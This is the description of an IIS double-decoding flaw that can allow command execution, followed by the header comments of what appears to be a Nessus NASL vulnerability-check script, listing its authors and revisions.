When IIS receives a user request to run a script, it renders the request in a decoded canonical form, and then performs security checks on the decoded request. A vulnerability results because a second, superfluous decoding pass is performed after the initial security checks are completed. Thus, a specially crafted request could allow an attacker to execute arbitrary commands on the IIS Server.
#%NASL_MIN_LEVEL 70300
#
# This script was modified Matt Moore ([email protected])
# from the NASL script to test for the UNICODE directory traversal
# vulnerability, originally written by Renaud Deraison.
#
# Then Renaud took Matt's script and used H D Moore modifications
# to iis_dir_traversal.nasl ;)
#
# Changes by Tenable:
# - Touched up description (11/04/10)
# - Add MSKB script_xref (8/29/17)
